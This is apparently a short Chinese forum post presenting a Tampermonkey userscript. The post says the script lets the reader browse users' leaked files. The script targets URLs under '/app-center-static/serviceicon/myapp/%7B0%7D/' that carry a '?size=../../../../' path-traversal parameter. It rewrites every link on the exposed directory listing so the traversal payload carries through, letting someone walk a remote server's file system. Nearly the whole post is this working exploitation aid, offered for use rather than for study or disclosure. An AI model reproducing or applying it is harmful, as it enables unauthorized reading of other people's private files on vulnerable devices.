这个简单的油猴脚本就可以正常浏览用户泄露文件了
```Javascript
// ==UserScript==
// @
name 路径遍历链接修复工具
// @
namespace http://tampermonkey.net/// @
version 1.0
// @
description 修复特定路径下的 LFI/目录遍历链接拼接问题
// @
author xxx
// @
match *://*/app-center-static/serviceicon/myapp/%7B0%7D/*
// @
grant none
// ==/UserScript==
(function() {
'use strict';
// 获取当前页面的查询参数,即 ?size=../../../../ 部分
const currentSearch = window.location.search;
// 获取当前页面的基础路径,即 /app-center-static/serviceicon/myapp/%7B0%7D/
const currentPath = window.location.pathname;
// 选取所有的 <a> 标签
const links = document.querySelectorAll('a');
links.forEach(link => {
// 获取 HTML 中原本的 href 属性值(例如 "vol1/" 或 "bin"),而非浏览器解析后的完整 URL
const rawHref = link.getAttribute('href');
if (rawHref) {
// 核心逻辑:基础路径 + 原有查询参数 + 目标文件路径
// 结果:.../myapp/%7B0%7D/?size=../../../../vol1/
const newUrl = currentPath + currentSearch + rawHref;
// 修改链接的指向
link.href = newUrl;
}
});
console.log(`已修正 ${links.length} 个路径遍历链接。`);
})();
```